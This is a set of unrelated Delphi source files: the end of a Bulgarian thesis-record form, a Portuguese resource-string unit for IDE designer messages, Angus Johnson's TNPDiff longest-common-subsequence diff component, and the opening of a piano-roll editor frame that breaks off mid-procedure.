diplomna.por_nom := Form2.LabeledEdit1.Text;
diplomna.tema_ime := Form2.LabeledEdit2.Text;
diplomna.ezik_za_progr := '';
diplomna.tip_pril := '';
diplomna.rukovoditel := '';
diplomna.student := '';
diplomna.fac_nom := '';
diplomna.zaet := 0;
Seek(infF, FileSize(infF));
Write(infF, diplomna);
CloseFile(infF);
ShowMessage('Записът е добавен');
dobavqne := '+';
Button2Click(Sender);
Form2.Close;
end
else begin
ShowMessage('Файлът не е намерен');
end;
end;
end;
end;
procedure TForm2.LabeledEdit1KeyPress(Sender: TObject; var Key: Char);
begin
if (Key in ['0'..'9', #8] = false) then begin
Key := #0;
end;
end;
end.
|
{*******************************************************}
{ }
{ Delphi Visual Component Library }
{ }
{ Copyright(c) 2016 Embarcadero Technologies, Inc. }
{ All rights reserved }
{ }
{*******************************************************}
unit DesignConst;
interface
resourcestring
srNone = '(Nenhum)';
srLine = 'linha';
srLines = 'linhas';
SInvalidFormat = 'Formato de gráfico inválido';
SUnableToFindComponent = 'Incapaz de localizar o form/componente, "%s"';
SCantFindProperty = 'Incapaz de localizar a propriedade "%s" no componente "%s"';
SStringsPropertyInvalid = 'Propriedade "%s" não foi inicializada no componente "%s"';
SLoadPictureTitle = 'Carregar imagem';
SSavePictureTitle = 'Salvar imagem como';
SQueryApply = 'Você quer aplicar as alterações antes de fechar?';
SAboutVerb = 'Sobre...';
SNoPropertyPageAvailable = 'Nenhuma página de propriedade está disponível para este controle';
SNoAboutBoxAvailable = 'Não há AboutBox disponível para este controle';
SNull = '(Nulo)';
SUnassigned = '(Não associado)';
SUnknown = '(Desconhecido)';
SDispatch = '(Dispatch)';
SError = '(Erro)';
SString = 'String';
SUnknownType = 'Tipo desconhecido';
SCannotCreateName = 'Não é possível criar um método para um componente não mencionado';
SColEditCaption = 'Editando %s%s%s';
SCantDeleteAncestor = 'A Seleção contém um componente introduzido em um ancestral que não pode ser apagado';
SCantAddToFrame = 'Novos componentes não podem ser adicionados as instancias de paginação.';
SAllFiles = 'Todos arquivos (*.*)|*.*';
SLoadingDesktopFailed = 'Loading the desktop from "%s" for dock host window "%s" failed with message: ' +
SLineBreak + SLineBreak + '"%s: %s"';
sAllConfigurations = 'Todas configurações';
sAllPlatforms = 'Todas plataformas';
sPlatform = ' Plataforma';
sConfiguration = ' configuração';
sClassNotApplicable = 'A classe %s não é aplicável a este módulo';
sNotAvailable = '(não disponível)';
sEditSubmenu = 'Editar';
sUndoComponent = 'Voltar';
sCutComponent = 'Recortar';
sCopyComponent = 'Copiar';
sPasteComponent = 'Colar';
sDeleteComponent = 'Deletar';
sSelectAllComponent = 'Selecinar todos';
sControlSubmenu = 'Control';
sUnsupportedChildType = '%s doesn''t support %s children';
StrEditMultiResBitmap = 'Edit Bitmap Collection';
StrNoParentFound = 'No parent control found';
StrYouSureYouWantTo = 'Tem certeza de que deseja excluir o item "%s"?';
StrNewSourceItemName = 'New source item name: ';
sDesktopFormFactor = 'Desktop';
sFullScreenFormFactor = 'Full Screen';
sPhoneFormFactor = 'Phone';
sTabletFormFactor = 'Tablet';
sMasterViewName = 'Master';
sCreatedViews = 'Created';
sAvailableViews = 'Available';
const
SIniEditorsName = 'Editor de propriedade';
implementation
end. |
unit Diff_NP;
{$IFDEF FPC}
{$mode delphi}{$H+}
{$ENDIF}
(*******************************************************************************
* Component TNPDiff *
* Version: 5.02 *
* Date: 23 May 2020 *
* Compilers: Delphi 10.x *
* Author: Angus Johnson - angusj-AT-myrealbox-DOT-com *
* Copyright: © 2001-2009 Angus Johnson *
* Updated by: Rickard Johansson (RJ TextEd) *
* *
* Licence to use, terms and conditions: *
* The code in the TNPDiff component is released as freeware *
* provided you agree to the following terms & conditions: *
* 1. the copyright notice, terms and conditions are *
* left unchanged *
* 2. modifications to the code by other authors must be *
* clearly documented and accompanied by the modifier's name. *
* 3. the TNPDiff component may be freely compiled into binary*
* format and no acknowledgement is required. However, a *
* discrete acknowledgement would be appreciated (eg. in a *
* program's 'About Box'). *
* *
* Description: Component to list differences between two integer arrays *
* using a "longest common subsequence" algorithm. *
* Typically, this component is used to diff 2 text files *
* once their individuals lines have been hashed. *
* *
* Acknowledgements: The key algorithm in this component is based on: *
* "An O(NP) Sequence Comparison Algorithm" *
* by Sun Wu, Udi Manber & Gene Myers *
* and uses a "divide-and-conquer" technique to avoid *
* using exponential amounts of memory as described in *
* "An O(ND) Difference Algorithm and its Variations" *
* By E Myers - Algorithmica Vol. 1 No. 2, 1986, pp. 251-266 *
*******************************************************************************)
(*******************************************************************************
* History: *
* 13 December 2001 - Original release (used Myer's O(ND) Difference Algorithm) *
* 22 April 2008 - Complete rewrite to greatly improve the code and *
* provide a much simpler view of differences through a new *
* 'Compares' property. *
* 21 May 2008 - Another complete code rewrite to use Sun Wu et al.'s *
* O(NP) Sequence Comparison Algorithm which more than *
* halves times of typical comparisons. *
* 24 May 2008 - Reimplemented "divide-and-conquer" technique (which was *
* omitted in 21 May release) so memory use is again minimal.*
* 25 May 2008 - Removed recursion to avoid the possibility of running out *
* of stack memory during massive comparisons. *
* 2 June 2008 - Bugfix: incorrect number of appended AddChangeInt() calls *
* in Execute() for integer arrays. (It was OK with Chars) *
* Added check to prevent repeat calls to Execute() while *
* already executing. *
* Added extra parse of differences to find occasional *
* missed matches. (See readme.txt for further discussion) *
* 7 November 2009 - Updated so now compiles in newer versions of Delphi. *
* *
* 11 November 2018 - Added TList<Cardinal> to store hash values *
* Made some minor code formatting and code changes *
* 19 May 2020 Added Lazarus support *
* 23 May 2020 - Minor changes and fixed an issue in AddChangeChr() *
* 12 July 2023 Made some changes to enable switching algorithm between *
* O(ND) and O(NP). *
*******************************************************************************)
interface
uses
{$IFnDEF FPC}
Generics.Collections, Windows,
{$ELSE}
LCLIntf, LCLType, Fgl,
{$ENDIF}
SysUtils,
Forms,
Classes,
DiffTypes;
const
MAX_DIAGONAL = $FFFFFF; //~16 million
type
{$IFDEF FPC}
TIntegerList = TFPGList<Cardinal>;
{$ENDIF}
TNPDiff = class(TComponent)
private
FCompareList: TList;
FDiffList: TList; //this TList circumvents the need for recursion
FCancelled: boolean;
FExecuting: boolean;
FCompareInts: boolean; //ie are we comparing integer arrays or char arrays
DiagBufferF: pointer;
DiagBufferB: pointer;
DiagF, DiagB: PDiags;
FDiffStats: TDiffStats;
FLastCompareRec: TCompareRec;
{$IFDEF FPC}
FList1: TIntegerList;
FList2: TIntegerList;
{$ELSE}
FList1: TList<Cardinal>;
FList2: TList<Cardinal>;
{$ENDIF}
FStr1: string;
FStr2: string;
procedure PushDiff(offset1, offset2, len1, len2: integer);
function PopDiff: boolean;
procedure InitDiagArrays(len1, len2: integer);
procedure DiffInt(offset1, offset2, len1, len2: integer);
procedure DiffChr(offset1, offset2, len1, len2: integer);
function SnakeChrF(k,offset1,offset2,len1,len2: integer): boolean;
function SnakeChrB(k,offset1,offset2,len1,len2: integer): boolean;
function SnakeIntF(k,offset1,offset2,len1,len2: integer): boolean;
function SnakeIntB(k,offset1,offset2,len1,len2: integer): boolean;
procedure AddChangeChr(offset1, range: integer; ChangeKind: TChangeKind);
procedure AddChangeInt(offset1, range: integer; ChangeKind: TChangeKind);
function GetCompareCount: integer;
function GetCompare(index: integer): TCompareRec;
public
constructor Create(aOwner: TComponent); override;
destructor Destroy; override;
// Compare strings or list of Cardinals ...
{$IFDEF FPC}
function Execute(const alist1, alist2: TIntegerList): boolean; overload;
{$ELSE}
function Execute(const alist1, alist2: TList<Cardinal>): boolean; overload;
{$ENDIF}
function Execute(const s1, s2: string): boolean; overload;
// Cancel allows interrupting excessively prolonged comparisons
procedure Cancel;
procedure Clear;
property Cancelled: boolean read FCancelled;
property CompareList: TList read FCompareList write FCompareList;
property Count: integer read GetCompareCount;
property Compares[index: integer]: TCompareRec read GetCompare; default;
property DiffStats: TDiffStats read FDiffStats;
end;
implementation
uses
System.Math;
constructor TNPDiff.Create(aOwner: TComponent);
begin
inherited;
FCompareList := TList.create;
FDiffList := TList.Create;
end;
//------------------------------------------------------------------------------
destructor TNPDiff.Destroy;
begin
Clear;
FCompareList.free;
FDiffList.Free;
inherited;
end;
//------------------------------------------------------------------------------
{$IFDEF FPC}
function TNPDiff.Execute(const alist1, alist2: TIntegerList): boolean;
{$ELSE}
function TNPDiff.Execute(const alist1, alist2: TList<Cardinal>): boolean;
{$ENDIF}
var
i, Len1Minus1: integer;
len1,len2: Integer;
begin
Result := not FExecuting;
if not Result then exit;
FCancelled := false;
FExecuting := true;
try
FList1 := alist1;
FList2 := alist2;
len1 := FList1.Count;
len2 := FList2.Count;
Clear;
Len1Minus1 := len1 -1;
FCompareList.Capacity := len1 + len2;
FCompareInts := true;
GetMem(DiagBufferF, sizeof(integer)*(len1+len2+3));
GetMem(DiagBufferB, sizeof(integer)*(len1+len2+3));
try
PushDiff(0, 0, len1, len2);
while PopDiff do;
finally
freeMem(DiagBufferF);
freeMem(DiagBufferB);
end;
if FCancelled then
begin
Result := false;
Clear;
exit;
end;
//correct the occasional missed match ...
for i := 1 to count -1 do
with PCompareRec(FCompareList[i])^ do
if (Kind = ckModify) and (int1 = int2) then
begin
Kind := ckNone;
Dec(FDiffStats.modifies);
Inc(FDiffStats.matches);
end;
//finally, append any trailing matches onto compareList ...
with FLastCompareRec do
AddChangeInt(oldIndex1,len1Minus1-oldIndex1, ckNone);
finally
FExecuting := false;
end;
end;
//------------------------------------------------------------------------------
function TNPDiff.Execute(const s1, s2: string): boolean;
var
i, Len1Minus1: integer;
len1,len2: Integer;
begin
Result := not FExecuting;
if not Result then exit;
FCancelled := false;
FExecuting := true;
try
Clear;
len1 := Length(s1);
len2 := Length(s2);
Len1Minus1 := len1 -1;
FCompareList.Capacity := len1 + len2;
FDiffList.Capacity := 1024;
FCompareInts := false;
GetMem(DiagBufferF, sizeof(integer)*(len1+len2+3));
GetMem(DiagBufferB, sizeof(integer)*(len1+len2+3));
FStr1 := s1;
FStr2 := s2;
try
PushDiff(1, 1, len1, len2);
while PopDiff do;
finally
freeMem(DiagBufferF);
freeMem(DiagBufferB);
end;
if FCancelled then
begin
Result := false;
Clear;
exit;
end;
//correct the occasional missed match ...
for i := 1 to count -1 do
with PCompareRec(FCompareList[i])^ do
if (Kind = ckModify) and (chr1 = chr2) then
begin
Kind := ckNone;
Dec(FDiffStats.modifies);
Inc(FDiffStats.matches);
end;
//finally, append any trailing matches onto compareList ...
with FLastCompareRec do
begin
AddChangeChr(oldIndex1,len1Minus1-oldIndex1+1, ckNone);
end;
finally
FExecuting := false;
end;
end;
//------------------------------------------------------------------------------
procedure TNPDiff.PushDiff(offset1, offset2, len1, len2: integer);
var
DiffVars: PDiffVars;
begin
new(DiffVars);
DiffVars.offset1 := offset1;
DiffVars.offset2 := offset2;
DiffVars.len1 := len1;
DiffVars.len2 := len2;
FDiffList.Add(DiffVars);
end;
//------------------------------------------------------------------------------
function TNPDiff.PopDiff: boolean;
var
DiffVars: PDiffVars;
idx: integer;
begin
idx := FDiffList.Count -1;
Result := idx >= 0;
if not Result then exit;
DiffVars := PDiffVars(FDiffList[idx]);
with DiffVars^ do
if FCompareInts then
DiffInt(offset1, offset2, len1, len2)
else
DiffChr(offset1, offset2, len1, len2);
Dispose(DiffVars);
FDiffList.Delete(idx);
end;
//------------------------------------------------------------------------------
procedure TNPDiff.InitDiagArrays(len1, len2: integer);
var
i: integer;
begin
//assumes that top and bottom matches have been excluded
P8Bits(DiagF) := P8Bits(DiagBufferF) - sizeof(integer)*(MAX_DIAGONAL-(len1+1));
for i := - (len1+1) to (len2+1) do
DiagF^[i] := -MAXINT;
DiagF^[1] := -1;
P8Bits(DiagB) := P8Bits(DiagBufferB) - sizeof(integer)*(MAX_DIAGONAL-(len1+1));
for i := - (len1+1) to (len2+1) do
DiagB^[i] := MAXINT;
DiagB^[len2-len1+1] := len2;
end;
//------------------------------------------------------------------------------
procedure TNPDiff.DiffInt(offset1, offset2, len1, len2: integer);
var
p, k, delta: integer;
begin
if offset1+len1 > FList1.Count then len1 := FList1.Count - offset1;
if offset2+len2 > FList2.Count then len2 := FList2.Count - offset2;
//trim matching bottoms ...
while (len1 > 0) and (len2 > 0) and (FList1[offset1] = FList2[offset2]) do
begin
inc(offset1); inc(offset2); dec(len1); dec(len2);
end;
//trim matching tops ...
while (len1 > 0) and (len2 > 0) and (FList1[offset1+len1-1] = FList2[offset2+len2-1]) do
begin
dec(len1); dec(len2);
end;
//stop diff'ing if minimal conditions reached ...
if (len1 = 0) then
begin
AddChangeInt(offset1 ,len2, ckAdd);
exit;
end
else if (len2 = 0) then
begin
AddChangeInt(offset1 ,len1, ckDelete);
exit;
end
else if (len1 = 1) and (len2 = 1) then
begin
AddChangeInt(offset1, 1, ckDelete);
AddChangeInt(offset1, 1, ckAdd);
exit;
end;
p := -1;
delta := len2 - len1;
InitDiagArrays(len1, len2);
if delta < 0 then
begin
repeat
inc(p);
if (p mod 1024) = 1023 then
begin
Application.ProcessMessages;
if FCancelled then exit;
end;
//nb: the Snake order is important here
for k := p downto delta +1 do
if SnakeIntF(k,offset1,offset2,len1,len2) then exit;
for k := -p + delta to delta-1 do
if SnakeIntF(k,offset1,offset2,len1,len2) then exit;
for k := delta -p to -1 do
if SnakeIntB(k,offset1,offset2,len1,len2) then exit;
for k := p downto 1 do
if SnakeIntB(k,offset1,offset2,len1,len2) then exit;
if SnakeIntF(delta,offset1,offset2,len1,len2) then exit;
if SnakeIntB(0,offset1,offset2,len1,len2) then exit;
until(false);
end else
begin
repeat
inc(p);
if (p mod 1024) = 1023 then
begin
Application.ProcessMessages;
if FCancelled then exit;
end;
//nb: the Snake order is important here
for k := -p to delta -1 do
if SnakeIntF(k,offset1,offset2,len1,len2) then exit;
for k := p + delta downto delta +1 do
if SnakeIntF(k,offset1,offset2,len1,len2) then exit;
for k := delta + p downto 1 do
if SnakeIntB(k,offset1,offset2,len1,len2) then exit;
for k := -p to -1 do
if SnakeIntB(k,offset1,offset2,len1,len2) then exit;
if SnakeIntF(delta,offset1,offset2,len1,len2) then exit;
if SnakeIntB(0,offset1,offset2,len1,len2) then exit;
until(false);
end;
end;
//------------------------------------------------------------------------------
procedure TNPDiff.DiffChr(offset1, offset2, len1, len2: integer);
var
p, k, delta: integer;
begin
//trim matching bottoms ...
while (len1 > 0) and (len2 > 0) and (FStr1[offset1] = FStr2[offset2]) do
begin
inc(offset1); inc(offset2); dec(len1); dec(len2);
end;
//trim matching tops ...
while (len1 > 0) and (len2 > 0) and (FStr1[offset1+len1-1] = FStr2[offset2+len2-1]) do
begin
dec(len1); dec(len2);
end;
//stop diff'ing if minimal conditions reached ...
if (len1 = 0) then
begin
AddChangeChr(offset1 ,len2, ckAdd);
exit;
end
else if (len2 = 0) then
begin
AddChangeChr(offset1, len1, ckDelete);
exit;
end
else if (len1 = 1) and (len2 = 1) then
begin
AddChangeChr(offset1, 1, ckDelete);
AddChangeChr(offset1, 1, ckAdd);
exit;
end;
p := -1;
delta := len2 - len1;
InitDiagArrays(len1, len2);
if delta < 0 then
begin
repeat
inc(p);
if (p mod 1024 = 1023) then
begin
Application.ProcessMessages;
if FCancelled then exit;
end;
//nb: the Snake order is important here
for k := p downto delta +1 do
if SnakeChrF(k,offset1,offset2,len1,len2) then exit;
for k := -p + delta to delta-1 do
if SnakeChrF(k,offset1,offset2,len1,len2) then exit;
for k := delta -p to -1 do
if SnakeChrB(k,offset1,offset2,len1,len2) then exit;
for k := p downto 1 do
if SnakeChrB(k,offset1,offset2,len1,len2) then exit;
if SnakeChrF(delta,offset1,offset2,len1,len2) then exit;
if SnakeChrB(0,offset1,offset2,len1,len2) then exit;
until(false);
end else
begin
repeat
inc(p);
if (p mod 1024 = 1023) then
begin
Application.ProcessMessages;
if FCancelled then exit;
end;
//nb: the Snake order is important here
for k := -p to delta -1 do
if SnakeChrF(k,offset1,offset2,len1,len2) then exit;
for k := p + delta downto delta +1 do
if SnakeChrF(k,offset1,offset2,len1,len2) then exit;
for k := delta + p downto 1 do
if SnakeChrB(k,offset1,offset2,len1,len2) then exit;
for k := -p to -1 do
if SnakeChrB(k,offset1,offset2,len1,len2) then exit;
if SnakeChrF(delta,offset1,offset2,len1,len2) then exit;
if SnakeChrB(0,offset1,offset2,len1,len2) then exit;
until(false);
end;
end;
//------------------------------------------------------------------------------
function TNPDiff.SnakeChrF(k,offset1,offset2,len1,len2: integer): boolean;
var
x,y: integer;
begin
if DiagF[k+1] > DiagF[k-1] then
y := DiagF[k+1] else
y := DiagF[k-1]+1;
x := y - k;
while (x < len1-1) and (y < len2-1) and (FStr1[offset1+x+1] = FStr2[offset2+y+1]) do
begin
inc(x); inc(y);
end;
DiagF[k] := y;
Result := (DiagF[k] >= DiagB[k]);
if not Result then exit;
inc(x); inc(y);
PushDiff(offset1+x, offset2+y, len1-x, len2-y);
PushDiff(offset1, offset2, x, y);
end;
//------------------------------------------------------------------------------
function TNPDiff.SnakeChrB(k,offset1,offset2,len1,len2: integer): boolean;
var
x,y: integer;
begin
if DiagB[k-1] < DiagB[k+1] then
y := DiagB[k-1]
else
y := DiagB[k+1]-1;
x := y - k;
while (x >= 0) and (y >= 0) and (FStr1[offset1+x] = FStr2[offset2+y]) do
begin
dec(x); dec(y);
end;
DiagB[k] := y;
Result := DiagB[k] <= DiagF[k];
if not Result then exit;
inc(x); inc(y);
PushDiff(offset1+x, offset2+y, len1-x, len2-y);
PushDiff(offset1, offset2, x, y);
end;
//------------------------------------------------------------------------------
function TNPDiff.SnakeIntF(k,offset1,offset2,len1,len2: integer): boolean;
var
x,y: integer;
begin
if DiagF^[k+1] > DiagF^[k-1] then
y := DiagF^[k+1]
else
y := DiagF^[k-1]+1;
x := y - k;
while (x < len1-1) and (y < len2-1) and (FList1[offset1+x+1] = FList2[offset2+y+1]) do
begin
inc(x); inc(y);
end;
DiagF^[k] := y;
Result := (DiagF^[k] >= DiagB^[k]);
if not Result then exit;
inc(x); inc(y);
PushDiff(offset1+x, offset2+y, len1-x, len2-y);
PushDiff(offset1, offset2, x, y);
end;
//------------------------------------------------------------------------------
function TNPDiff.SnakeIntB(k,offset1,offset2,len1,len2: integer): boolean;
var
x,y: integer;
begin
if DiagB^[k-1] < DiagB^[k+1] then
y := DiagB^[k-1]
else
y := DiagB^[k+1]-1;
x := y - k;
while (x >= 0) and (y >= 0) and (FList1[offset1+x] = FList2[offset2+y]) do
begin
dec(x); dec(y);
end;
DiagB^[k] := y;
Result := DiagB^[k] <= DiagF^[k];
if not Result then exit;
inc(x); inc(y);
PushDiff(offset1+x, offset2+y, len1-x, len2-y);
PushDiff(offset1, offset2, x, y);
end;
//------------------------------------------------------------------------------
procedure TNPDiff.AddChangeChr(offset1, range: integer; ChangeKind: TChangeKind);
var
i,j: integer;
compareRec: PCompareRec;
begin
//first, add any unchanged items into this list ...
if FLastCompareRec.oldIndex1 < 0 then FLastCompareRec.oldIndex1 := 0;
if FLastCompareRec.oldIndex2 < 0 then FLastCompareRec.oldIndex2 := 0;
while (FLastCompareRec.oldIndex1 < offset1 -1) do
begin
with FLastCompareRec do
begin
chr1 := #0;
chr2 := #0;
Kind := ckNone;
inc(oldIndex1);
inc(oldIndex2);
if (oldIndex1 > 0) and (oldIndex1 <= Length(FStr1)) then
chr1 := FStr1[oldIndex1];
if (oldIndex2 > 0) and (oldIndex2 <= Length(FStr2)) then
chr2 := FStr2[oldIndex2];
end;
New(compareRec);
compareRec^ := FLastCompareRec;
FCompareList.Add(compareRec);
inc(FDiffStats.matches);
end;
case ChangeKind of
ckNone:
for i := 1 to range do
begin
with FLastCompareRec do
begin
Kind := ckNone;
inc(oldIndex1);
inc(oldIndex2);
chr1 := FStr1[oldIndex1];
chr2 := FStr2[oldIndex2];
end;
New(compareRec);
compareRec^ := FLastCompareRec;
FCompareList.Add(compareRec);
inc(FDiffStats.matches);
end;
ckAdd :
begin
for i := 1 to range do
begin
with FLastCompareRec do
begin
//check if a range of adds are following a range of deletes
//and convert them to modifies ...
if Kind = ckDelete then
begin
j := FCompareList.Count -1;
while (j > 0) and (PCompareRec(FCompareList[j-1]).Kind = ckDelete) do
dec(j);
PCompareRec(FCompareList[j]).Kind := ckModify;
dec(FDiffStats.deletes);
inc(FDiffStats.modifies);
inc(FLastCompareRec.oldIndex2);
PCompareRec(FCompareList[j]).oldIndex2 := FLastCompareRec.oldIndex2;
PCompareRec(FCompareList[j]).chr2 := FStr2[oldIndex2];
if j = FCompareList.Count-1 then
FLastCompareRec.Kind := ckModify;
continue;
end;
Kind := ckAdd;
chr1 := #0;
inc(oldIndex2);
chr2 := FStr2[oldIndex2]; //ie what we added
end;
New(compareRec);
compareRec^ := FLastCompareRec;
FCompareList.Add(compareRec);
inc(FDiffStats.adds);
end;
end;
ckDelete :
begin
for i := 1 to range do
begin
with FLastCompareRec do
begin
//check if a range of deletes are following a range of adds
//and convert them to modifies ...
if Kind = ckAdd then
begin
j := FCompareList.Count -1;
while (j > 0) and (PCompareRec(FCompareList[j-1]).Kind = ckAdd) do
dec(j);
PCompareRec(FCompareList[j]).Kind := ckModify;
dec(FDiffStats.adds);
inc(FDiffStats.modifies);
inc(FLastCompareRec.oldIndex1);
PCompareRec(FCompareList[j]).oldIndex1 := FLastCompareRec.oldIndex1;
PCompareRec(FCompareList[j]).chr1 := FStr1[oldIndex1];
if j = FCompareList.Count-1 then
FLastCompareRec.Kind := ckModify;
continue;
end;
Kind := ckDelete;
chr2 := #0;
inc(oldIndex1);
chr1 := FStr1[oldIndex1]; //ie what we deleted
end;
New(compareRec);
compareRec^ := FLastCompareRec;
FCompareList.Add(compareRec);
inc(FDiffStats.deletes);
end;
end;
end;
end;
//------------------------------------------------------------------------------
procedure TNPDiff.AddChangeInt(offset1, range: integer; ChangeKind: TChangeKind);
var
i,j: integer;
compareRec: PCompareRec;
begin
//first, add any unchanged items into this list ...
while (FLastCompareRec.oldIndex1 < offset1 -1) do
begin
with FLastCompareRec do
begin
Kind := ckNone;
inc(oldIndex1);
inc(oldIndex2);
if (oldIndex1 >= 0) and (oldIndex1 < FList1.Count) then
int1 := Integer(FList1[oldIndex1]);
if (oldIndex2 >= 0) and (oldIndex2 < FList2.Count) then
int2 := Integer(FList2[oldIndex2]);
end;
New(compareRec);
compareRec^ := FLastCompareRec;
FCompareList.Add(compareRec);
inc(FDiffStats.matches);
end;
case ChangeKind of
ckNone:
for i := 1 to range do
begin
with FLastCompareRec do
begin
Kind := ckNone;
inc(oldIndex1);
inc(oldIndex2);
if (oldIndex1 >= 0) and (oldIndex1 < FList1.Count) then
int1 := Integer(FList1[oldIndex1]);
if (oldIndex2 >= 0) and (oldIndex2 < FList2.Count) then
int2 := Integer(FList2[oldIndex2]);
end;
New(compareRec);
compareRec^ := FLastCompareRec;
FCompareList.Add(compareRec);
inc(FDiffStats.matches);
end;
ckAdd :
begin
for i := 1 to range do
begin
with FLastCompareRec do
begin
//check if a range of adds are following a range of deletes
//and convert them to modifies ...
if Kind = ckDelete then
begin
j := FCompareList.Count -1;
while (j > 0) and (PCompareRec(FCompareList[j-1]).Kind = ckDelete) do
dec(j);
PCompareRec(FCompareList[j]).Kind := ckModify;
dec(FDiffStats.deletes);
inc(FDiffStats.modifies);
inc(FLastCompareRec.oldIndex2);
PCompareRec(FCompareList[j]).oldIndex2 := FLastCompareRec.oldIndex2;
PCompareRec(FCompareList[j]).int2 := Integer(FList2[oldIndex2]);
if j = FCompareList.Count-1 then FLastCompareRec.Kind := ckModify;
continue;
end;
Kind := ckAdd;
int1 := $0;
inc(oldIndex2);
if (oldIndex2 >= 0) and (oldIndex2 < FList2.Count) then
int2 := Integer(FList2[oldIndex2]); //ie what we added
end;
New(compareRec);
compareRec^ := FLastCompareRec;
FCompareList.Add(compareRec);
inc(FDiffStats.adds);
end;
end;
ckDelete :
begin
for i := 1 to range do
begin
with FLastCompareRec do
begin
//check if a range of deletes are following a range of adds
//and convert them to modifies ...
if Kind = ckAdd then
begin
j := FCompareList.Count -1;
while (j > 0) and (PCompareRec(FCompareList[j-1]).Kind = ckAdd) do
dec(j);
PCompareRec(FCompareList[j]).Kind := ckModify;
dec(FDiffStats.adds);
inc(FDiffStats.modifies);
inc(FLastCompareRec.oldIndex1);
PCompareRec(FCompareList[j]).oldIndex1 := FLastCompareRec.oldIndex1;
PCompareRec(FCompareList[j]).int1 := Integer(FList1[oldIndex1]);
if j = FCompareList.Count-1 then FLastCompareRec.Kind := ckModify;
continue;
end;
Kind := ckDelete;
int2 := $0;
inc(oldIndex1);
if (oldIndex1 >= 0) and (oldIndex1 < FList1.Count) then
int1 := Integer(FList1[oldIndex1]); //ie what we deleted
end;
New(compareRec);
compareRec^ := FLastCompareRec;
FCompareList.Add(compareRec);
inc(FDiffStats.deletes);
end;
end;
end;
end;
//------------------------------------------------------------------------------
procedure TNPDiff.Clear;
var
i: integer;
begin
for i := 0 to FCompareList.Count-1 do
dispose(PCompareRec(FCompareList[i]));
FCompareList.clear;
FLastCompareRec.Kind := ckNone;
FLastCompareRec.oldIndex1 := -1;
FLastCompareRec.oldIndex2 := -1;
FDiffStats.matches := 0;
FDiffStats.adds := 0;
FDiffStats.deletes :=0;
FDiffStats.modifies :=0;
end;
//------------------------------------------------------------------------------
function TNPDiff.GetCompareCount: integer;
begin
Result := FCompareList.count;
end;
//------------------------------------------------------------------------------
function TNPDiff.GetCompare(index: integer): TCompareRec;
begin
Result := PCompareRec(FCompareList[index])^;
end;
//------------------------------------------------------------------------------
procedure TNPDiff.Cancel;
begin
FCancelled := true;
end;
//------------------------------------------------------------------------------
end.
|
unit PianoRoll;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes,
Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs,PianoKeyBoard, Vcl.ExtCtrls,
Vcl.StdCtrls, Vcl.Samples.Spin;
type
TFramePianoRoll = class(TFrame)
ScrollBarVertical: TScrollBar;
Panel3: TPanel;
PaintBox: TPaintBox;
PanelControls: TPanel;
Splitter1: TSplitter;
PanelKeys: TPanel;
PaintBoxKeys: TPaintBox;
PaintBoxMarkers: TPaintBox;
Panel1: TPanel;
ScrollBarHorizontal: TScrollBar;
Button1: TButton;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
SpinEditScaleX: TSpinEdit;
SpinEditScaleY: TSpinEdit;
Label4: TLabel;
Label5: TLabel;
procedure PaintBoxPaint(Sender: TObject);
procedure ScrollBarVerticalChange(Sender: TObject);
procedure PaintBoxKeysPaint(Sender: TObject);
procedure PaintBoxMarkersPaint(Sender: TObject);
procedure PaintBoxMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure ScrollBarHorizontalChange(Sender: TObject);
procedure FrameResize(Sender: TObject);
procedure SpinEditScaleChange(Sender: TObject);
private
{ Private declarations }
procedure WMMOUSEWHEEL(var Msg: TMessage); message WM_MOUSEWHEEL;
public
{ Public declarations }
PianoKeyBoard:TPianoKeyBoard;
function ScaleFactorV:integer;
function ScaleFactorH:integer;
function DY:integer;
function DX:integer;
end;
implementation
uses NotesData;
{$R *.dfm}
const
//local const
PianoKeyLength =100;
PianoKeyHight = 80; // on sacale 1
BeatWidth:integer=80; // on sacale 1
BeatResolution:integer =4 ;
//global const
TempoNumerator:integer =3;
TempoDenominator:integer =4;
//DX = 20;
//DY = 15;
//PianoKeyHight= DY;
MK_LBUTTON =$0001 ;//The left mouse button is down.
MK_RBUTTON =$0002 ;//The right mouse button is down.
MK_SHIFT =$0004 ;//The SHIFT key is down.
MK_CONTROL =$0008 ;//The CTRL key is down.
MK_MBUTTON =$0010 ;//The middle mouse button is down.
MK_XBUTTON1 =$0020 ; //The first X button is down.
MK_XBUTTON2 =$0040 ;//The second X button is down.
procedure TFramePianoRoll.FrameResize(Sender: TObject);
var NumOfKeysVisible:integer;
NumOfCellsVisible:integer;
begin
NumOfKeysVisible:=PaintBoxKeys.Height div DY;
ScrollBarVertical.Max:=NumOfKeys-NumOfKeysVisible;
NumOfCellsVisible:=PaintBoxKeys.Width div DX;
ScrollBarHorizontal.Max:=NumOfKeys-NumOfKeysVisible;
invalidate;
end;
procedure TFramePianoRoll.PaintBoxKeysPaint(Sender: TObject);
var C:TCanvas;
SaveBrush:Tbrush;
BY,
SX,SY,
i,N:integer;
TextShiftY:integer;
s:string;
R:TRect;
iNote :integer;
iOctave :integer;
begin
C:=PaintBoxKeys.Canvas;
//Фон
C.Pen.Color:=clBlack;
C.Brush.Color:=clWhite;
C.Rectangle(0,0,PaintBox.Width,PaintBox.Height);
BY:=-ScrollBarVertical.Position*DY;
SX:=(DX*NumOfMeasures+1); SY:=DY*(NumOfKeys+1);
C.Pen.Color:=clBlack;
For N:=0 to NumOfKeys do
begin
iNote :=N mod 12 +1;
iOctave:=N div 12;
C.Pen.Color:=clBlack;
C.Brush.Color:=clWhite;
//Контроль
R.Left :=0 ;
R.Top :=BY+SY-(N+1)*DY;
R.Right :=PianoKeyLength ;
R.Bottom:=BY+SY-(N)*DY ;
Case iNote of
{1,6:begin
C.Brush.Color:=clWhite;
C.Brush.Style:=bsClear;
C.Pen.Color:= clBlack;
R.Left :=0 ;
R.Top :=BY+SY-(N+1)*DY -(DY div 2) ;
R.Right :=PianoKeyLength ;
R.Bottom:=BY+SY-(N)*DY ;
C.Rectangle(R.Left,R.Top ,R.Right ,R.Bottom);
end;//
}
1,6:begin
// C.Brush.Color:=clWhite;
// C.Brush.Style:=bsClear;
C.Pen.Color:= clBlack;
C.Pen.Color:= clBlack;
C.MoveTo (0, R.Top);
C.LineTo (PianoKeyLength ,R.Top );
R.Left :=0 ;
R.Top :=BY+SY-(N+1)*DY -(DY div 2) ;
R.Right :=PianoKeyLength ;
